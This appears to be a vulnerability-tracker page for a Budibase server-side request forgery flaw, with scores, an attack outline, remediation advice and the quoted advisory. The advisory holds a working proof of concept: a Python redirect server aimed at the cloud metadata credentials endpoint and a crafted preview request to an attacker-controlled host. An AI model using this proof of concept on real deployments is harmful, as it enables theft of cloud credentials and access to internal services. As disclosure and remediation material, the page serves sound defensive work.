Skip to main content

Budibase CVE-2026-45715

| EUVDEUVD-2026-32603 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-15 https://github.com/Budibase/budibase GHSA-fgqv-jh4g-pvg2
7.7
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as Builder
  2. Delivery
    Create malicious REST datasource
  3. Exploit
    Configure redirect server
  4. Install
    Query datasource
  5. C2
    Bypass blacklist via redirect
  6. Execute
    Access internal services
  7. Impact
    Exfiltrate cloud credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Successful exploitation requires authenticated access with Builder role permissions in Budibase to create and query REST datasources. The Budibase instance must be deployed where internal services or cloud metadata endpoints are network-accessible from the server. Default Budibase configurations are vulnerable. Exploitation is limited to users without Builder access and to Budibase instances with network isolation preventing access to sensitive internal endpoints.

Impact

The CVSS 3.1 score of 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) accurately reflects the risk. Network vector with low complexity and low privileges required means any authenticated Builder can exploit this remotely without user interaction. The scope change and high confidentiality impact align with accessing cloud metadata and internal services outside the application's intended scope. No EPSS score or KEV status is provided, suggesting this is not widely exploited. The detailed proof-of-concept in the advisory increases exploitation likelihood. This represents a significant risk for Budibase deployments in cloud environments where metadata services contain sensitive credentials.

Exploit ScenarioDerived

An attacker with Builder access creates a REST datasource pointing to their controlled server. When querying this datasource, their server responds with an HTTP redirect to internal services like AWS metadata (169.254.169.254) or internal databases. Budibase follows the redirect without re-checking the blacklist, returning sensitive internal data to the attacker. A working proof-of-concept is provided in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 15, 2026

Budibase's REST datasource integration before version 3.38.1 bypasses IP blacklist security controls through HTTP redirect following. Authenticated Builder-level users can exploit this to access cloud metadata services and internal databases by redirecting requests through attacker-controlled servers, potentially stealing AWS/GCP/Azure credentials. This vulnerability class was previously fixed in automation steps but the REST integration was overlooked, creating an inconsistent security posture.

RemediationAI

Upgrade to Budibase version 3.38.1 or later, which properly validates redirect targets against the IP blacklist. The fix implements redirect: manual handling similar to the existing fetchWithBlacklist wrapper used in automation steps. As a temporary workaround if immediate patching is not possible, restrict Builder role access to trusted users only, monitor REST datasource configurations for suspicious external URLs, and consider implementing network-level controls to block outbound requests from Budibase servers to cloud metadata endpoints (169.254.169.254). Note that workarounds only reduce risk and do not eliminate the vulnerability.

Affected VersionsENISA

budibase < 3.38.1

Affected Packages

npm @budibase/server fix: 3.38.1
euvd budibase fix: 3.38.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Budibase is a low-code platform (npm package @budibase/server) that allows users to create REST datasources for external API integration. The vulnerability exists in the _req() method within packages/server/src/integrations/rest.ts at lines 754-778. The code validates URLs against an IP blacklist to prevent SSRF attacks, but uses undici's fetch() with default redirect: follow behavior. This follows HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist. The root cause is CWE-918 (Server-Side Request Forgery), where user-controlled input influences server-side requests without proper validation of redirect chains.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.7 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionGitHub Advisory

Summary

The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.

Details

Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778

The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.

typescript
// Line 754 - blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
  throw new Error("URL is blocked or could not be resolved safely.")
}

// Line 778 - fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)

The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.

Relevant prior fix commits on the automation side:

  • 6cfa3bcca3 - "fix(server): enforce outbound blacklist in webhook automation steps"
  • e7d47625be - "Fix automation webhook blacklist redirect bypass"

PoC

Step 1 - Set up a redirect server (attacker-controlled):

python
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2 - As a Builder, create a REST datasource pointing to the attacker's server.

Step 3 - Preview a query:

http
POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>

{
  "datasourceId": "<rest-datasource-id>",
  "queryVerb": "read",
  "fields": {
    "path": "http://<attacker-ip>:8080/",
    "queryString": "",
    "headers": {},
    "bodyType": "none",
    "requestBody": ""
  },
  "parameters": [],
  "transformer": "return data",
  "name": "ssrf-test",
  "schema": {}
}

Step 4 - The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:

json
{
  "rows": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "uuid": "a84d3353128485a22973a759df2387bc"
  }]
}

Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.

Impact

  • Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses 169.254.169.254 to steal IAM credentials or service account tokens.
  • Internal service access: CouchDB (:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible
  • Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access - only the redirect path is unprotected.
  • Already-known vulnerability class: This was previously identified and fixed in automation steps (commits 6cfa3bcca3, e7d47625be) but the REST datasource integration was not patched.

Executive ViewAI

Why It Matters

Budibase REST datasource integration (versions before 3.38.1) contains an IP blacklist bypass vulnerability that allows authenticated Builder-level users to redirect requests to internal cloud metadata services and databases, potentially exposing AWS/GCP/Azure credentials. Organizations using Budibase for data integration face credential theft and unauthorized access to cloud infrastructure if Builder accounts are compromised or if insider threats exist.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Builder role to minimal necessary personnel and enforce MFA on all Builder accounts; (2) Disable REST datasource integration if not actively required; (3) Implement network firewall rules to block outbound connections from Budibase to 169.254.169.254, 169.254.169.250, 169.254.169.251, and metadata.google.internal; (4) Enable request logging and alerting for any HTTP 3xx redirects in REST datasource queries; (5) Rotate all AWS/GCP/Azure credentials that may be accessible from Budibase instances.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy